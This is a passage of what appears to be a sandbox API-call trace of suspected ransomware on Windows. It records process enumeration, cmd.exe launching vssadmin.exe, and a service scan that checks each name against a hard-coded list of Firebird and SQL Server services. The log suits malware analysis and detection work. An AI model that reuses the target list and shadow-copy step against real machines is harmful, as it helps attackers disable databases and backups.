cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0210.169] lstrlenW (lpString="csrss.exe") returned 9 [0210.169] Process32NextW (in: hSnapshot=0x200, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0210.170] lstrlenW (lpString="winlogon.exe") returned 12 [0210.170] Process32NextW (in: hSnapshot=0x200, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0210.170] lstrlenW (lpString="services.exe") returned 12 [0210.170] Process32NextW (in: hSnapshot=0x200, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0210.171] lstrlenW (lpString="lsass.exe") returned 9 [0210.171] Process32NextW (in: hSnapshot=0x200, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0210.171] lstrlenW (lpString="lsm.exe") returned 7 [0210.171] Process32NextW (in: hSnapshot=0x200, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.172] lstrlenW (lpString="svchost.exe") returned 11 [0210.172] Process32NextW (in: hSnapshot=0x200, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.173] lstrlenW (lpString="svchost.exe") returned 11 [0210.173] Process32NextW (in: hSnapshot=0x200, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.173] lstrlenW (lpString="svchost.exe") returned 11 [0210.173] Process32NextW (in: hSnapshot=0x200, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.174] lstrlenW (lpString="svchost.exe") returned 11 [0210.174] Process32NextW (in: hSnapshot=0x200, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.174] lstrlenW (lpString="svchost.exe") returned 11 [0210.174] Process32NextW (in: hSnapshot=0x200, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0210.175] lstrlenW (lpString="audiodg.exe") returned 11 [0210.175] Process32NextW (in: hSnapshot=0x200, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.176] lstrlenW (lpString="svchost.exe") returned 11 [0210.176] Process32NextW (in: hSnapshot=0x200, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.176] lstrlenW (lpString="svchost.exe") returned 11 [0210.176] Process32NextW (in: hSnapshot=0x200, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0210.177] lstrlenW (lpString="dwm.exe") returned 7 [0210.177] Process32NextW (in: hSnapshot=0x200, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x44c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0210.178] lstrlenW (lpString="explorer.exe") returned 12 [0210.178] Process32NextW (in: hSnapshot=0x200, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0210.178] lstrlenW (lpString="spoolsv.exe") returned 11 [0210.178] Process32NextW (in: hSnapshot=0x200, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0210.179] lstrlenW (lpString="taskhost.exe") returned 12 [0210.179] Process32NextW (in: hSnapshot=0x200, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.180] lstrlenW (lpString="svchost.exe") returned 11 [0210.180] Process32NextW (in: hSnapshot=0x200, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x610, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x350, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0210.180] lstrlenW (lpString="taskeng.exe") returned 11 [0210.180] Process32NextW (in: hSnapshot=0x200, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="innovative sapphire.exe")) returned 1 [0210.181] lstrlenW (lpString="innovative sapphire.exe") returned 23 [0210.181] Process32NextW (in: hSnapshot=0x200, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="nova.exe")) returned 1 [0210.182] lstrlenW (lpString="nova.exe") returned 8 [0210.182] Process32NextW (in: hSnapshot=0x200, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="attitude discussions wives.exe")) returned 1 [0210.182] lstrlenW (lpString="attitude discussions wives.exe") returned 30 [0210.182] Process32NextW (in: hSnapshot=0x200, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="demonstrate term dressing.exe")) returned 1 [0210.183] lstrlenW (lpString="demonstrate term dressing.exe") returned 29 [0210.183] Process32NextW (in: hSnapshot=0x200, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="picks blair.exe")) returned 1 [0210.183] lstrlenW (lpString="picks blair.exe") returned 15 [0210.183] Process32NextW (in: hSnapshot=0x200, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="posted_boating_anthony.exe")) returned 1 [0210.184] lstrlenW (lpString="posted_boating_anthony.exe") returned 26 [0210.184] Process32NextW (in: hSnapshot=0x200, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="principal.exe")) returned 1 [0210.184] lstrlenW (lpString="principal.exe") returned 13 [0210.185] Process32NextW (in: hSnapshot=0x200, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="transportation.exe")) returned 1 [0210.185] lstrlenW (lpString="transportation.exe") returned 18 [0210.185] Process32NextW (in: hSnapshot=0x200, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="bind-representation-scared.exe")) returned 1 [0210.186] lstrlenW (lpString="bind-representation-scared.exe") returned 30 [0210.186] Process32NextW (in: hSnapshot=0x200, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="supplements-reynolds.exe")) returned 1 [0210.186] lstrlenW (lpString="supplements-reynolds.exe") returned 24 [0210.186] Process32NextW (in: hSnapshot=0x200, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x708, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="planned.exe")) returned 1 [0210.187] lstrlenW (lpString="planned.exe") returned 11 [0210.187] Process32NextW (in: hSnapshot=0x200, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="springer andrew.exe")) returned 1 [0210.188] lstrlenW (lpString="springer andrew.exe") returned 19 [0210.188] Process32NextW (in: hSnapshot=0x200, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="cakes import.exe")) returned 1 [0210.188] lstrlenW (lpString="cakes import.exe") returned 16 [0210.188] Process32NextW (in: hSnapshot=0x200, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="theory.exe")) returned 1 [0210.189] lstrlenW (lpString="theory.exe") returned 10 [0210.189] Process32NextW (in: hSnapshot=0x200, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="linuxsouthantiques.exe")) returned 1 [0210.189] lstrlenW (lpString="linuxsouthantiques.exe") returned 22 [0210.189] Process32NextW (in: hSnapshot=0x200, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x20c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="saturn acknowledge rover.exe")) returned 1 [0210.190] lstrlenW (lpString="saturn acknowledge rover.exe") returned 28 [0210.190] Process32NextW (in: hSnapshot=0x200, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="tuition-flour-challenges.exe")) returned 1 [0210.191] lstrlenW (lpString="tuition-flour-challenges.exe") returned 28 [0210.191] Process32NextW (in: hSnapshot=0x200, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="raises_softball_tramadol.exe")) returned 1 [0210.191] lstrlenW (lpString="raises_softball_tramadol.exe") returned 28 [0210.191] Process32NextW (in: hSnapshot=0x200, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x624, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="indicescancellation.exe")) returned 1 [0210.192] lstrlenW (lpString="indicescancellation.exe") returned 23 [0210.192] Process32NextW (in: hSnapshot=0x200, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="keeping-guys-essence.exe")) returned 1 [0210.192] lstrlenW (lpString="keeping-guys-essence.exe") returned 24 [0210.192] Process32NextW (in: hSnapshot=0x200, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="desk.exe")) returned 1 [0210.193] lstrlenW (lpString="desk.exe") returned 8 [0210.193] Process32NextW (in: hSnapshot=0x200, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.194] lstrlenW (lpString="svchost.exe") returned 11 [0210.194] Process32NextW (in: hSnapshot=0x200, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0210.194] lstrlenW (lpString="sppsvc.exe") returned 10 [0210.194] Process32NextW (in: hSnapshot=0x200, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.431] lstrlenW (lpString="svchost.exe") returned 11 [0210.431] Process32NextW (in: hSnapshot=0x200, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0210.431] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0210.431] Process32NextW (in: hSnapshot=0x200, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0210.432] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0210.432] Process32NextW (in: hSnapshot=0x200, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x960, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0210.433] lstrlenW (lpString="winhost.exe") returned 11 [0210.433] Process32NextW (in: hSnapshot=0x200, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x67c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0210.433] lstrlenW (lpString="cmd.exe") returned 7 [0210.433] Process32NextW (in: hSnapshot=0x200, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x740, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0210.434] lstrlenW (lpString="conhost.exe") returned 11 [0210.434] Process32NextW (in: hSnapshot=0x200, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x124, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0210.434] lstrlenW (lpString="vssadmin.exe") returned 12 [0210.434] Process32NextW (in: hSnapshot=0x200, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x124, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0210.435] CloseHandle (hObject=0x200) returned 1 [0210.435] Sleep (dwMilliseconds=0x1f4) [0211.216] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x640108 [0211.216] EnumServicesStatusExW (in: hSCManager=0x640108, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0) returned 0 [0211.216] GetLastError () returned 0xea [0211.217] EnumServicesStatusExW (in: hSCManager=0x640108, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x60e218, cbBufSize=0x134c, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x60e218, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0) returned 1 [0211.217] CloseServiceHandle (hSCObject=0x640108) returned 1 [0211.217] lstrlenW (lpString="Appinfo") returned 7 [0211.217] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0211.217] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0211.217] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0211.217] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0211.217] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0211.217] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0211.217] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0211.217] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0211.217] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0211.217] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0211.217] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0211.217] lstrlenW (lpString="AudioSrv") returned 8 [0211.217] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0211.217] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0211.217] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0211.218] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0211.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0211.218] lstrlenW (lpString="BFE") returned 3 [0211.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0211.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0211.218] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0211.218] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0211.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0211.218] lstrlenW (lpString="CryptSvc") returned 8 [0211.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0211.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0211.218] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0211.218] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0211.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0211.218] lstrlenW (lpString="CscService") returned 10 [0211.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0211.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0211.218] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0211.218] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0211.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0211.218] lstrlenW (lpString="DcomLaunch") returned 10 [0211.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0211.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0211.218] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0211.218] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0211.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0211.218] lstrlenW (lpString="Dhcp") returned 4 [0211.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0211.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0211.218] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0211.218] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0211.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0211.218] lstrlenW (lpString="Dnscache") returned 8 [0211.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0211.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0211.218] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0211.218] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0211.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0211.218] lstrlenW (lpString="DPS") returned 3 [0211.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0211.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0211.218] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0211.218] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0211.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0211.218] lstrlenW (lpString="eventlog") returned 8 [0211.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0211.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0211.219] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0211.219] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0211.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0211.219] lstrlenW (lpString="EventSystem") returned 11 [0211.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0211.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0211.219] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0211.219] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0211.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0211.219] lstrlenW (lpString="FontCache") returned 9 [0211.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0211.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0211.219] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0211.219] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0211.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0211.219] lstrlenW (lpString="gpsvc") returned 5 [0211.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0211.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0211.219] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0211.219] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0211.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0211.219] lstrlenW (lpString="iphlpsvc") returned 8 [0211.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0211.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0211.219] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0211.219] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0211.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0211.219] lstrlenW (lpString="LanmanServer") returned 